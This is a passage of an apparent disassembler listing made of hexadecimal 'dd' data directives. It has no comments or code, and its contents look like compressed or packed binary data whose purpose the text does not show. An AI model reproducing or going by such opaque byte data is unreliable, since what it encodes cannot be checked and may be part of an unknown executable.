		dd 0CAFF0F6Ah, 5C66063Bh, 11010B1Eh, 8F659E40h,	3C62AE69h
		dd 6B93D3F8h, 6CC50061h, 0AE27816h, 0D2EEA000h,	8354D70Dh
		dd 0C24E0004h, 613903B3h, 0A7006726h, 0D06016F7h, 69474Dh
		dd 6E77DB49h, 0D16A4A3Eh, 5ADCAE00h, 0B66D9D6h,	0F04003DFh
		dd 5337D83Bh, 0C5A9BCF0h, 0DEBB9E00h, 47B2CF7Fh, 0B5FF03E9h
		dd 0BDF21C30h, 0BAC28A88h, 9300CA79h, 0A3A653B3h, 3E0524B4h
		dd 0FBD036h, 29CDD706h,	0BF54DE57h, 23D96700h, 0B3667A2Eh
		dd 614A00B8h, 681B02C4h, 2B00945Dh, 0BE372A6Fh,	1FA1B40Bh
		dd 0C0C30C8Eh, 8D5A05DFh, 2D0202EFh, 45425943h,	3104EA52h
		dd 54F84708h, 752F7220h, 0EC50EC48h, 302E0F31h,	6F400A0Dh
		dd 203A7473h, 14C72575h, 68977541h, 7A6972D0h, 0BBD3EF61h
		dd 4E26126Eh, 14CC1B65h, 1DAB1A77h, 0C34C0459h,	0A71C71Ch
		dd 553F8C07h, 8C59401h,	1F14F5CFh, 50C808D0h, 30BF24E2h
		dd 868E3F34h, 11244610h, 159E5C80h, 10B24069h, 0AC62C030h
		dd 8051C618h, 4150113Ah, 123E6F0Dh, 63660A83h, 650EBA6Ch
		dd 4010D42Eh, 61F472C2h, 21206D0Ah, 550EB53Dh, 4710354Ch
		dd 6C43010Dh, 746E6569h, 6749288Eh, 927ADDD4h, 54523808h
		dd 6D144E32h, 1837D3C3h, 4E192246h, 3FF6E24h, 63F35811h
		dd 8E7245C6h, 6D02A044h, 0E9DE565h, 0D454F679h,	0D6156349h
		dd 17640A0Ah, 6B2D79CFh, 70E574F5h, 250A8542h, 520A8649h
		dd 2E646929h, 473696Fh,	5B93654Ch, 79562475h, 4DEF3E46h
		dd 9057787Dh, 386A2024h, 0C72C6BA9h, 4ADFCE66h,	484B7275h
		dd 26DBF624h, 0A814DE36h, 0F9736898h, 136E5499h, 0DC384964h
		dd 68486762h, 15702409h, 72435F60h, 1CA0E774h, 0AF4D53A3h
		dd 0E8292815h, 8CC3F3h,	6946705Fh, 532D9072h, 3D38CA42h
		dd 0B84FFEF3h, 0F0D8AF5h, 614CA540h, 14701B3Bh,	97655266h
		dd 1E7C20C7h, 73212865h, 4E8E260Eh, 77523690h, 7C0FA434h
		dd 0E74C4F5Fh, 54604B43h, 57455059h, 2D0A1928h,	92086E3Eh
		dd 29CA0D55h, 42230E62h, 1C799A18h, 0F14C5230h,	4749BB60h
		dd 521F4F4Eh, 77FC5F45h, 2D7944EBh, 9082E623h, 70417571h
		dd 67264B74h, 38095106h, 48734914h, 4889A856h, 6F502823h
		dd 72999850h, 0CF768FA3h, 72564448h, 23416CA1h,	0FA7C9D70h
		dd 72D9FBE9h, 0F5E0BE67h, 64ECBCFBh, 0D19E762Dh, 9CD4AC57h
		dd 76D32D24h, 0D3EA248Fh, 85B0A5DCh, 3C41C9A3h,	0CA486210h
		dd 0D612BDC0h, 0E8BC4564h, 9156E17h, 1DD07453h,	20420D47h
		dd 9A964D5h, 83605B1Fh,	954D4144h, 220460C5h, 57946661h
		dd 25D8CC34h, 0CF235028h, 3CE4A429h, 28F37830h,	85DA5838h
		dd 6562852Ch, 7A989466h, 0F719482Dh, 0F15349B3h, 92414156h
		dd 0CD4A2844h, 8C3C2989h, 4DDC6659h, 3828A556h,	48D04901h
		dd 214DFDE3h, 6863C7D2h, 0FD58BE88h, 11E48090h,	323C09E6h
		dd 32D02CACh, 666275B2h, 6812B228h, 6AB26AC8h, 646542CFh
		dd 69263596h, 1A5B2773h, 57676E3Dh, 0FE612C19h,	0F4A52E96h
		dd 6AF32815h, 465A1446h, 0E70677Ch, 0A292AB66h,	3FBC18BAh
		dd 21ED2C86h, 40F2321Ch, 0ECA66BBAh, 0AF77BECEh, 75CF9E74h
		dd 0ED1EF76Eh, 0FB7A8AB6h, 0B20EFE46h, 21E9EF99h, 782C6CA1h
		dd 450E485Fh, 6E425041h, 52548644h, 4E248FB3h, 0AB704ECEh
		dd 4E651048h, 736C7B2Eh, 539847EEh, 45E2E093h, 3D2B3CD5h
		dd 0E64210D6h, 0A74204D8h, 3B10D27Eh, 2C6426EBh, 0CAE46AFAh
		dd 99FBC6F3h, 0C93A92E1h, 99BD4708h, 6670CB69h,	585268F3h
		dd 8DAB8E2h, 69446134h,	3848C766h, 0D3633D42h, 624FB034h
		dd 0DAACD86Ah, 6D487564h, 6F6A789Dh, 0CC3EBD0Ah, 7E35DF5Ch
		dd 2E49A52Ah, 0D7627512h, 78CF8F1Dh, 780C3A93h,	37488496h
		dd 132B8F54h, 3BD46463h, 257BC45Fh, 0EE7DA7C3h,	0BD5A93C8h
		dd 23193A31h, 4A6C3246h
		dd 15BADA27h, 0C95044C5h, 696726DCh, 7EB4D821h,	18384EC5h
		dd 20DE40C1h, 50B01594h, 6E73253Ch, 389BC83Eh, 0F5632EC2h
		dd 0F8709768h, 165960B7h, 61B2C28Dh, 6169736Bh,	5E7CF754h
		dd 7371B296h, 0B98A78A2h, 0A54C642Eh, 6E39644Dh, 0AE62F0CBh
		dd 86F4DE21h, 2A3226Dh,	1544A60Fh, 354C1C6Eh, 23E43493h
		dd 0E4132A21h, 0DE956564h, 27280F80h, 9430735Ch, 2513A3B4h
		dd 494DFE9Bh, 92244758h, 272D2B14h, 371A0D6Eh, 66242C0Fh
		dd 0F3744488h, 7270843Ch, 4E66EF93h, 0CF583754h, 66716788h
		dd 2610BE45h, 0CA244244h, 0DF5B3176h, 0D13DF8CAh, 0F0011C17h
		dd 94103F4Eh, 286C339Dh, 12148C70h, 878587Ah, 66282042h
		dd 0D06BFAFDh, 75346416h, 1A142584h, 0B8631C16h, 0A34C5ADFh
		dd 8B849A5h, 42702232h,	5F094D65h, 6A4BC526h, 2547E241h
		dd 17464811h, 9C4F64B6h, 57116CBCh, 6E556C90h, 3225C1BDh
		dd 84129B03h, 0D00D4088h, 66B23808h, 144A2119h,	4C6C62DAh
		dd 52C04450h, 0A6D370FCh, 32534849h, 3A17590Fh,	0F02A136Dh
		dd 4CFF4F49h, 12985371h, 4CAE28D4h, 40612C78h, 0A69AD2BBh
		dd 0A07F917Ah, 4BAD9084h, 22DF344Ch, 3C4E778Ch,	7518EA99h
		dd 16323363h, 806C642Eh, 63694D98h, 8A73A8CBh, 561E97FFh
		dd 5324E8A6h, 332B438Eh, 62658C07h, 0EC7D67B6h,	79DAA172h
		dd 340F48A1h, 167787A2h, 94F55A50h, 90E36D2Ah, 429AB902h
		dd 50424428h, 20C85188h, 0BF7955C1h, 3C15C131h,	78B19184h
		dd 60C49744h, 2524AD99h, 494D4C0Ah, 84A77528h, 0B118D0FBh
		dd 0A8E20A45h, 0B1A208B0h, 70784514h, 0A255A49h, 3092E229h
		dd 48085A46h, 0F284484Ch, 0E6807C9h, 8C79EBC6h,	0AC70309Ch
		dd 1835FB9Bh, 0F5E409A2h, 1D4813BEh, 0A05B0AA2h, 75BACE26h
		dd 0F08790A6h, 0F3136493h, 0FB512713h, 9237D055h, 9EE81D1Bh
		dd 0AC3CE002h, 86E645Bh, 2DF2A765h, 7204903Eh, 89649B70h
		dd 0DAE97A73h, 61B3514Dh, 89F53667h, 891DCA5Fh,	6DAA1903h
		dd 12695B62h, 2515F896h, 0C80C4235h, 36C178A7h,	37BA0887h
		dd 8739F870h, 703C0F08h, 10873D4Bh, 3E82F1CDh, 71C7220Eh
		dd 4C471D5Fh, 2541DD4Fh, 53EB1C93h, 43E4DEAFh, 9FD7B154h
		dd 56574D31h, 1839AD84h, 88BC9AC2h, 18EDBB33h, 7D5D433h
		dd 0E3B5D84Dh, 12085614h, 0A0122228h, 6BB99E54h, 494CA62Ah
		dd 267A96E0h, 0CF641F95h, 28B42C22h, 5FFA0696h,	0DEFB1270h
		dd 62760F94h, 8AEFAD92h, 742930A0h, 45616C1Fh, 1030C06h
		dd 3E0100Ah, 25D10DFh, 24504CCh, 35388405h, 44503830h
		dd 38283C20h, 807580Eh,	17303707h, 211B9F57h, 3A17CA8Fh
		dd 0B668609Ch, 72901203h, 0FB03786Fh, 0EF3C8645h, 0D00F7CE3h
		dd 0A8410F05h, 8616EC1h, 5AD6CC1h, 0FF28AE99h, 17DADFF7h
		dd 70744A40h, 75D427F5h, 0E4D9685Dh, 61641E82h,	0F736223h
		dd 0B073A840h, 20A88533h, 7AF4A2B3h, 51305EA2h,	318D0DA5h
		dd 210A4430h, 0E7795F4Bh, 82310922h, 420F4AB8h,	6D3402DAh
		dd 1F44E66Fh, 0FD79685Fh, 63117433h, 2173B435h,	99202A10h
		dd 0BC73663Fh, 0C9651742h, 306CCD6Fh, 44F569F1h, 0A8891A10h
		dd 0CB36688Dh, 7108CA63h, 140CFD72h, 0A6322B61h, 45108B08h
		dd 0B6FB3C42h, 5334864Ah, 2E68D868h, 582FB408h,	3167B608h
		dd 51083052h, 0C2DB2133h, 11C8292h, 0F773492Ch,	0F46EF2B7h
		dd 69463B82h, 9246A9BAh, 24EBF9E5h, 5245047Ch, 8431C54Eh
		dd 6528034Eh, 298F302Bh, 0B920404Ch, 82C674D1h,	0EDE25871h
		dd 0AE1091D3h, 26BB119Fh, 0D70CC39Ch, 5212103Ah, 198E8C28h
		dd 385AE99Dh, 8CD8CE11h, 0F9B611B0h, 7A85D433h,	5C1823D9h
		dd 9621131h, 0AC20434Ch, 454D2849h, 0CF9B9008h,	389E5210h
		dd 4FE90C51h, 4154A241h, 0C4759F9h, 45D96BEBh, 4FF91868h
		dd 5441B1D7h, 130CAFFAh, 343BCA23h, 90B3D31h, 57CB74DBh
		dd 3DDD88A4h, 2E5F29CFh, 8281F2Ch, 6FC309D6h, 0AD328E6Ch
		dd 0A90A120h, 1D80ED96h, 0C9C2B9Ch, 9210EE8Ch, 0E11409D2h
		dd 766E09CDh, 0F9E06C70h, 0AB7D9238h, 405FCB0Ch, 9E690A2Eh
		dd 0A43925EEh, 0EB577172h, 0B65785F5h, 72206913h, 0AE545805h
		dd 12D25338h, 0E8C30F41h, 87474E49h, 4F4406B8h,	8526414Dh
		dd 36520112h, 97383230h, 0A3522D12h, 7FD4A725h,	4125611Dh
		dd 1CAD7A85h, 48382528h, 96371028h, 7C74C80Dh, 67750A89h
		dd 7073E981h, 344C2C61h, 0FB05F966h, 392D6977h,	38421472h
		dd 285AE39Ch, 42D638E2h, 48702535h, 98697680h, 5079BAAEh
		dd 9463A666h, 0BF6A4A70h, 65285268h, 27603F34h,	2FD3195Fh
		dd 0FF07B2A0h, 60478A63h, 0F8393115h, 0FEAE89E5h, 0A8F788E4h
		dd 0E8DF8621h, 38642C29h, 0F3E79464h, 561A525Bh, 23249058h
		dd 0C46DE537h, 57AD1E1Fh, 18B25A68h, 308F20D2h,	1B72182Bh
		dd 96969535h, 0A306D05Fh, 0A790645Ah, 1EBE6D56h, 30793745h
		dd 504F39C5h, 693C4DD2h, 0B05AD674h, 232C5ED1h,	734A5A38h
		dd 7312D951h, 61446029h, 4D582C16h, 0BC676EDFh,	0B53B6870h
		dd 0AB271C25h, 141D2780h, 0A1745213h, 0A09A16E2h, 97711332h
		dd 0CD1D1E27h, 61B27739h, 0DC6CFA5Fh, 4A504758h, 0EC4125D3h
		dd 5024D5B9h, 0AA751C9Bh, 65108414h, 0D4645257h, 3D3AB674h
		dd 41789C42h, 7266F832h, 3C7AD3E5h, 13585460h, 95A33CDh
		dd 78485C5Fh, 0A5CD6DA3h, 4D2708C3h, 1DD04258h,	923B5255h
		dd 7D895841h, 131A8A75h, 0AF41A259h, 99307BA1h,	204D1A53h
		dd 44ED5445h, 9FF61D80h, 72464168h, 72615369h, 2E4A3BD0h
		dd 620AE46Eh, 4112E24Dh, 790C9F19h, 64E67FFh, 5600C96Ch
		dd 4F706553h, 6F4EB0A0h, 0D544763Ch, 737AEC40h,	12BB62F3h
		dd 0E8975A54h, 926F22Fh, 0FE0C84B4h, 680D9C75h,	0CA683D0Ch
		dd 7980EC0Ch, 509A0DB9h, 75EB07BCh, 55441959h, 0B44CDEFh
		dd 59E16843h, 6345218Ch, 0EA94641Ch, 0BF854117h, 0E7FE5E5Ch
		dd 4AAD5029h, 63432C02h, 0F40A95CDh, 37381369h,	7A253C56h
		dd 0D6CBE0Ah, 4E2C441Bh, 82F856BFh, 2C3753Fh, 534BC9EEh
		dd 0A05C912h, 0D81F6641h, 0E8D9306Ah, 15836D96h, 6578754Ch
		dd 0BE3A886Dh, 76F15005h, 4A2268A2h, 7A36C353h,	8EA0D06Ah
		dd 75599C28h, 5C5A6864h, 64714399h, 0A4705311h,	0A4340D12h
		dd 0B9F13D84h, 0C2D650B6h, 1B4A7594h, 0CE0A8834h, 4564956Ch
		dd 499D6087h, 25931409h, 92D95247h, 0A787428Ah,	140AF967h
		dd 0D87899E4h, 0BB4C5D6Fh, 8897F530h, 0E53A7CDEh, 8246EA6h
		dd 63491807h, 86888EAh,	0F049CF68h, 0A0EDB440h,	6802EB08h
		dd 2422F228h, 694C11D1h, 34E542A9h, 64546DA8h, 41553276h
		dd 75AD1C9Eh, 0C4C98492h, 3A6B592Dh, 5910AEF0h,	73510A6Bh
		dd 0CB0B9F07h, 25ABE774h, 43D226ACh, 2EA34262h,	137309ABh
		dd 80466948h, 6F0CC488h, 12542D12h, 1C962010h, 0AB500FF9h
		dd 143EFD76h, 1E5A90C2h, 2F2DDB49h, 0E2F59C7Ch,	0CCD3BB8Ah
		dd 0BB852019h, 65097A30h, 0A1EF2D77h, 6897D490h, 0DBE7F286h
		dd 182A390Ah, 0A5F9146Ch, 759B43CBh, 0FDE8AC90h, 185367D5h
		dd 0F6A5263h, 8C4DAC70h, 21A39E22h, 838BA88Bh, 8C118404h
		dd 0FDE4907Bh, 0B09C92FEh, 93662D68h, 34C9BD44h, 0CF762D84h
		dd 7F144654h, 10A3A09Bh, 2010D023h, 74D214D1h, 8F1074A0h
		dd 921442E0h, 10648064h, 2624B094h, 996D242Ch, 6910A15Ah
		dd 16473013h, 64185410h
		dd 0FAE790A3h, 33677158h, 9014D1ACh, 0F62028C2h, 48B176E8h
		dd 58A614A3h, 96EF1021h, 8572342Ch, 0D83D1CA3h,	6872C818h
		dd 7C675214h, 0B4A61423h, 62C610E8h, 0D1D1B048h, 0ACDE1046h
		dd 0D7FA7AC4h, 37784AAAh, 36C34ED0h, 4B50727Ah,	439CD96Eh
		dd 1B50678Eh, 19C57912h, 143D6B73h, 0DC6BA495h,	19DA2843h
		dd 123FE2A8h, 0F1D0292Dh, 37E24D72h, 0EC026D7Eh, 1F0B7831h
		dd 6C2C1046h, 143A7AFBh, 0E168E505h, 79AD6CA9h,	0CE1459FBh
		dd 20CBBFCCh, 146C1A66h, 87108648h, 0B914A148h,	349027DCh
		dd 6CB262B3h, 963AADB2h, 0EAA74843h, 38845B0Ch,	8026876Bh
		dd 460E7959h, 0A9604C1Ch, 7ADD1819h, 6A260C4Ah,	293EB462h
		dd 0EA72F168h, 0FE6E9216h, 0B796A362h, 285A3CFAh, 0B1E83CB5h
		dd 1C2588A7h, 0C05A852h, 0A64C6C52h, 568190B0h,	3593DF74h
		dd 74D52278h, 14236EE7h, 676087ADh, 94F92FF9h, 9D28B628h
		dd 0A072CC0Fh, 14A56413h, 0BA49F026h, 0D1432EFh, 0AF60908h
		dd 3465359h, 74947E76h,	9C4270EFh, 72F4FF94h, 0A0172014h
		dd 434F1C0Ch, 9411B50h,	37C5C05Bh, 14DAD8BDh, 19B084F9h
		dd 39512331h, 850414Eh,	0E146F049h, 54864418h, 38481853h
		dd 9AF36D3Ah, 3646113h,	174D202Ch, 791B095Ah, 2FE78703h
		dd 830F5BBEh, 4508CE50h, 492F2C41h, 64F8682Dh, 0C3E8825h
		dd 0F54D63E9h, 58C70B12h, 62C9159Ah, 10DA2D67h,	3C58722Ch
		dd 0B8810DAh, 8B8B2508h, 9696F5C4h, 6269EC2Ch, 7371C2A1h
		dd 0B0882584h, 10D1B40Bh, 54415860h, 48104C04h,	79716544h
		dd 41404410h, 4834063Ch, 6497C8BCh, 0FDB1A464h,	8E10A14h
		dd 140D8131h, 0FA681738h, 7554620Dh, 31700A92h,	75531188h
		dd 88D008A6h, 438413Ch,	24281030h, 70412041h, 7425702Fh
		dd 62CE0AB9h, 0BC4268FCh, 0D09C09F0h, 818DC758h, 0C08D2CDh
		dd 188E4608h, 7477094Ch, 1BBC63BAh, 7DC22821h, 48830798h
		dd 1F081023h, 925189Ah,	63285F61h, 21ED516Dh, 9AD4F612h
		dd 3D317407h, 39BD3015h, 32201046h, 2048059Eh, 307C9C5Bh
		dd 0AF78C0BEh, 0B5A8CE9Dh, 4D849095h, 9530D9Eh,	8E42E238h
		dd 916D27DFh, 0E20818B8h, 0C8A5E040h, 50913008h, 4215837h
		dd 0A6D061A7h, 0A4FC6902h, 8F6938C8h, 1E373606h, 7551A806h
		dd 107D8C40h, 0D86270A4h, 2AF2029h, 5505B0C0h, 658350B9h
		dd 709A6378h, 0F50232ADh, 0B16190E3h, 6D736302h, 785401E0h
		dd 1C400371h, 0AD199305h, 0B55F08C8h, 823651Dh,	0A18B604h
		dd 7051A009h, 7CBEBF45h, 90B80181h, 0D0BC0131h,	0B868E166h
		dd 19018F09h, 5BE80902h, 0F8444018h, 0D86514A6h, 502B0219h
		dd 42E22010h, 2203E254h, 14B4E238h, 4C484481h, 50A7F814h
		dd 236F7064h, 0A44E888h, 7CD0E298h, 0ADBC0144h,	29A09130h
		dd 188914C8h, 1A381F52h, 483E68F0h, 0C8E30823h,	28101A3Ch
		dd 0B8183C38h, 106A0CA4h, 264B410h, 2EE33845h, 392C4094h
		dd 0C841438Eh, 9C857E64h, 96C10148h, 0A05B40E0h, 52A00440h
		dd 908850E3h, 0B07814A0h, 1C720091h, 0C00C4454h, 0F0AD9C98h
		dd 1CC420A1h, 421CA422h, 0A730F1D8h, 20880318h,	919D9E4h
		dd 0B0784CE0h, 1508A652h, 889CE440h, 24809401h,	76F00268h
		dd 28B86029h, 226FA844h, 1EE88A80h, 8001806Ch, 8578A6A5h
		dd 0BCF09170h, 188887A0h, 0C026DCE5h, 9572B4B8h, 0A8700800h
		dd 111EE579h, 0E5C8A7F0h, 9168357Ah, 0EB01D1E0h, 98h, 0C3000000h
		dd 4013E803h, 88DBC681h, 8E19A08h, 0A007F033h, 10A43A8h
		dd 420D30C1h, 0C422D0C0h, 5989008h, 18292F40h, 620424C1h
		dd 18966001h, 80060260h, 0A843F1F8h, 81F22808h,	72104C01h
		dd 14206252h, 84040C8Bh, 450C07E4h, 11CCD121h, 0A3C75B01h
		dd 4288508h, 120B892Eh,	44109804h, 6B723861h, 6D786544h
		dd 30623301h, 34762074h, 6F63188Eh, 146C2Ah, 65626173h
		dd 69732E72h, 6671630Fh, 6D75076Fh, 80D330ADh, 0E2414623h
		dd 1C47EB4Bh, 972E6412h, 67E76E24h, 7865736Ch, 69770197h
		dd 0E974C56Eh, 29A6FF62h, 64185760h, 3373776Fh,	767C5320h
		dd 83AF63DBh, 38CE6741h, 24A02DE0h, 2EE47973h, 0F8256451h
		dd 48FD2B78h, 66522388h, 402A8604h, 486D68A8h, 5F589268h
		dd 52490E00h, 360EB5B4h, 807D312Eh, 6C61684Bh, 4DFA6465h
		dd 7C0FD2A3h, 6D422D6Dh, 200A7979h, 32F03723h, 31E48F30h
		dd 84682A3Eh, 0A8098864h, 5381C848h, 7774666Fh,	5C654485h
		dd 0BED61D4Dh, 0AA1D7337h, 4303EFEBh, 4A8D7275h, 3EF256E5h
		dd 3F6F691Eh, 0D0FC52BFh, 57FA3080h, 38A77F2Dh,	454C4F41h
		dd 9D59319Ch, 3C4DD554h, 4C70F79Dh, 70DA6C3Ch, 0C20B1B3Ch
		dd 1296424Ch, 97469BB8h, 9CFB26CDh, 103DB884h, 65E63EE6h
		dd 0F41098D0h, 14BA0C27h, 2CBD596Dh, 11ED6638h,	15D5C7BEh
		dd 701A9C5Ch, 470E6E75h, 6E2AC914h, 7548C409h, 86E28964h
		dd 6863612Eh, 2776825h,	6705CE3Fh, 39D31075h, 61664263h
		dd 14556CDBh, 0E95621FDh, 1C8FFA73h, 8863129Bh,	0F56C63EAh
		dd 4320C0Bh, 0B00CF244h, 0D089C009h, 0E424DC12h, 0F491EC48h
		dd 820FC22h, 181044F3h,	2C122089h, 3C483424h, 4C224891h
		dd 84E5445h, 2811B8A9h,	77E2B870h, 319A74DEh, 840C3B20h
		dd 890EA29h, 332B3231h,	8221434h, 2E3033CEh, 68341437h
		dd 33100438h, 8402491h,	36108535h, 571437A2h, 19642438h
		dd 83306839h, 0DD1AADEh, 0BD312308h, 0A23323C7h, 0ADA8264h
		dd 6ED188D0h, 7C592B31h, 89EA1561h, 69790208h, 6C088578h
		dd 9E8E61Eh, 0E561C1A1h, 4838B567h, 0B535B43Dh,	526D8E92h
		dd 6A35AE8h, 64320C47h,	324CE66Ch, 742C7771h, 616D32C8h
		dd 6F106954h, 0ACF12198h, 2E327B46h, 0E10C6462h, 0B431B6A4h
		dd 0EE3454EEh, 203ED971h, 650C4B73h, 6C97673Eh,	84874AAh
		dd 0B2737509h, 6F083160h, 8B04FAA0h, 9811550Fh,	7A024421h
		dd 804DCC77h, 0E1383908h, 6B321051h, 46780848h,	74467970h
		dd 710C2F53h, 73E87A61h, 78EC9090h, 70B46352h, 0A06F6228h
		dd 6DB96A4Ch, 66C1AA08h, 0CC4C5361h, 0D4695662h, 366BCC65h
		dd 684C3890h, 0D370CFC8h, 756CF561h, 6A311849h,	9E4F9407h
		dd 521409F6h, 62CE206Eh, 0A41069AAh, 153834D4h,	129010F3h
		dd 32A15851h, 0EF4A37F5h, 99903772h, 95993D8Eh,	147C316Bh
		dd 198C2650h, 828A697Dh, 12797248h, 11674585h, 769208BAh
		dd 94DF5C51h, 59DA8637h, 153E3F26h, 12E9756Bh, 0B6647865h
		dd 75663406h, 68C88C28h, 48A82A74h, 0BC7829B1h,	6FE84A6Ch
		dd 0A062E3A2h, 80FE032h, 524151F1h, 8B26EB6h, 0C146512h
		dd 0B426E293h, 15B4AFD2h, 58623424h, 281A0829h,	1AA4FC48h
		dd 18341010h, 704C3499h, 0B4F4B131h, 620ED910h,	712874BAh
		dd 2781046Ch, 0E645FE6Fh, 729400A4h, 308AA50Eh,	1E626912h
		dd 3E526480h, 0D447C453h, 61869C58h, 694D9171h,	3FBD4DC1h
		dd 8FF04C68h, 0A461C86Bh, 0A3634411h, 7886B27h,	89CC69D2h
		dd 3621F762h, 0B3433027h, 70550A56h, 0DBB42EA4h, 0CEC1968h
		dd 2EEC156Bh, 701E820h,	54E2F2Dh, 0B87CD3A8h, 44C80922h
		dd 0EC89E4D8h, 0F824F412h, 2230044Fh, 24184410h, 30122C89h
		dd 38483424h, 40223C91h, 89504844h, 24601258h, 9178486Ch
		dd 448C2284h, 0A4899C94h, 0B424AC12h, 0C491BC48h, 0D444CC22h
		dd 12E889DCh
		dd 5CF824F0h, 822F510h,	89181044h, 24281220h, 9130482Ch
		dd 4448223Ch, 68895C54h, 74247012h, 88917C48h, 98449022h
		dd 12A889A0h, 48B824B0h, 22C091BCh, 0CCC844C4h,	0D412D089h
		dd 0E448DC24h, 0F422EC91h, 4004FC44h, 0C8908F6h, 1C241412h
		dd 28912448h, 34443022h, 1244893Ch, 4854244Ch, 22609158h
		dd 7C704468h, 90128889h, 0A4489C24h, 0B422AC91h, 89BCB844h
		dd 24CC12C4h, 91E048D4h, 36FC22F0h, 9F9F704h, 89281844h
		dd 24441230h, 914C4848h, 44582254h, 7C89705Ch, 88248412h
		dd 98919048h, 0A844A022h, 12B489ACh, 48C024B8h,	22D091C8h
		dd 0E4E044D8h, 0FC12F089h, 74F80423h, 66A096F1h, 25370910h
		dd 80A0473h, 0C3FD5C9Eh, 64B9203Dh, 390E22B7h, 340350A1h
		dd 77943202h, 4220E8EDh, 4D746F3Ah, 7872266Ch, 24779227h
		dd 0CDC1701Ch, 1D407363h, 3B2F5641h, 4B2E5746h,	3E92A4BBh
		dd 465898CCh, 2E2B763Ch, 9246C624h, 749FE29Ch, 342147E9h
		dd 0EE9F6B91h, 0FD0249Eh, 16FB2C64h, 3A7F5E7Eh,	3E833C50h
		dd 26402E52h, 0D44FEE69h, 13532541h, 7553BFFEh,	0B2A18C6Eh
		dd 0DB4CC3FEh, 74583350h, 338A315Ah, 6D8F2CBEh,	173A1A25h
		dd 3AE02160h, 0C37082F8h, 0BA826298h, 0FE083512h, 415061E4h
		dd 1911C753h, 4E040A0Dh, 304B4349h, 6F455355h, 308C1352h
		dd 1DA43A05h, 280910DBh, 15342105h, 3C474E49h, 63104F34h
		dd 2AE64A3Ch, 9C0F67D1h, 8332C27h, 9C33E035h, 21401933h
		dd 29D5E734h, 0ED21BC60h, 0A01E0C19h, 82C3552Ah, 8D8CE344h
		dd 0E384A552h, 4F4EA303h, 45543454h, 7989742Dh,	4899F668h
		dd 40E5273Ah, 545052D0h, 552A5110h, 33390849h, 0C6645335h
		dd 0D7106F4Ah, 10CD58B9h, 7913A6Ch, 3A5184A1h, 5890854Ah
		dd 1F902AB4h, 56C25250h, 9B47534Dh, 57E17118h, 1C71432h
		dd 8D9A6944h, 0A94E5687h, 41288B2h, 63647803h, 5277098Dh
		dd 5E53980Eh, 59661252h, 0B927FED4h, 0C716EA3Ch, 75956D1Eh
		dd 7C2ECA8Fh, 23103153h, 20560119h, 21FD53A3h, 94BCE281h
		dd 1BDE178Ch, 0D26E21E4h, 2439AD74h, 21641304h,	5122843Dh
		dd 0A491D7A5h, 0D0BADA66h, 0ADC44201h, 0CB185309h, 63CFFB6Eh
		dd 7A698294h, 82D82447h, 4A414843h, 9214955Ch, 74A40943h
		dd 0B0A30615h, 95D4AF7Ah, 581EADACh, 286C5073h,	0BFCAB379h
		dd 72E877BAh, 8815DA95h, 620A6DA1h, 2DDEC879h, 0F92E6C6Bh
		dd 0C80434D3h, 0FACE2430h, 116C112Dh, 65416D08h, 289F6D3Dh
		dd 4FC09CAAh, 64277B1Fh, 536B6885h, 0BCF9D924h,	48283439h
		dd 81290833h, 78663336h, 0DE782B46h, 0C28FA773h, 25B4CDD3h
		dd 808069Fh, 0E634765Fh, 0D38081Ah, 0B4045699h,	700C0F10h
		dd 0EB70733Ah, 83A54C0Ch, 63D61405h, 845FE75h, 0E469C68h
		dd 9C0CA470h, 0EADA4DD8h, 7A3EC57Bh, 7AB210A5h,	5BF4D26Fh
		dd 24A46553h, 0AF1C7724h, 14DFECB4h, 9E74A56Fh,	0C56BA6Ch
		dd 34433542h, 31901890h, 7944728Bh, 18482485h, 25476445h
		dd 70157468h, 243D7B34h, 9B641802h, 235F4478h, 1710D34Ch
		dd 296085BBh, 2231A2F4h, 691A7BB4h, 48ED8808h, 504354C0h
		dd 8C14AC20h, 83108C2Ch, 6FB4D731h, 2D33D584h, 53C48F44h
		dd 0FA9401C6h, 0B4189B64h, 55241D39h, 538DB979h, 191F1910h
		dd 7420A2E0h, 59F36BF0h, 1848B423h, 28092739h, 382B40A3h
		dd 6739C24Dh, 152C33A9h, 2C460C54h, 2C902090h, 0D9057789h
		dd 57C8286Bh, 0A49C19D1h, 2D261C10h, 65B88570h,	0C06AEE74h
		dd 55A0B846h, 18A75044h, 7050759Eh, 946250C9h, 706D481Ch
		dd 0B00A9121h, 16A46AB4h, 4C457354h, 6C3C696Dh,	8914A474h
		dd 0EDDF5739h, 0A33027E1h, 0CD54E374h, 0A8772032h, 544A5814h
		dd 0E2EC2155h, 0A2634120h, 141499A4h, 0E7F6D9C5h, 0C2CD84DDh
		dd 0D4C27389h, 936E1E61h, 0F7896C13h, 394D801Dh, 65A4A00Ah
		dd 2A64648Ch, 53758FACh, 5C6AC365h, 0D4948A76h,	744268ADh
		dd 0C208C766h, 0F71C6674h, 81753565h, 0EDF32819h, 0A4E20A24h
		dd 0A67F1543h, 0B0635D09h, 43282946h, 84948E0Ch, 0B3518418h
		dd 52A0261Eh, 68A62ACCh, 241B0C8Ah, 4B6E61D9h, 8C196A98h
		dd 8A18535Bh, 0E57C2042h, 846A039h, 295D744Ah, 630A0810h
		dd 0EA6BA49Eh, 7E1B3377h, 140BA428h, 9A707865h,	0DF33B651h
		dd 0A0081968h, 0D7328684h, 73180A14h, 6418CD0Dh, 753771C9h
		dd 746A1569h, 4D95E8BDh, 964690Dh, 627011B2h, 3627625Ch
		dd 14525580h, 322B7D49h, 0A07B2E8Eh, 0A17145C9h, 6E27213Eh
		dd 0B778CD12h, 8409A7C4h, 8AA8694Bh, 3611D67Ch,	22E70898h
		dd 123E6B6Ch, 26D01BD4h, 43896E23h, 10456F66h, 0C8FA28Dh
		dd 798C16F1h, 39D9906Dh, 0A4523130h, 0A608A47Bh, 95B8A6BCh
		dd 0C474D427h, 79C6C264h, 200F108Dh, 90D27058h,	442AD6B5h
		dd 0B17264A4h, 1E4A14CBh, 98E4E50Ch, 2BE36CF0h,	0E1102836h
		dd 0E920A221h, 0DA6D7A63h, 881B0B10h, 36B70E53h, 4A58E952h
		dd 98F37420h, 529B6D04h, 6F687704h, 0B46B48A7h,	0F4B05A92h
		dd 6D63453Ch, 823E79F4h, 5034C225h, 1528AFFFh, 0E5DE2C4Ch
		dd 0FA0D2F6Ah, 73244CBAh, 0A9FCFBF7h, 0D60A6EC8h, 0A928203Ch
		dd 39422917h, 800A8A53h, 6189CA4Ah, 2E6C2562h, 8394F036h
		dd 0D094C4A4h, 0C61313C5h, 0B272A809h, 30832D8h, 0A46E6414h
		dd 63083234h, 6965BD7Ch, 0C34211Fh, 324D64A7h, 29749DD2h
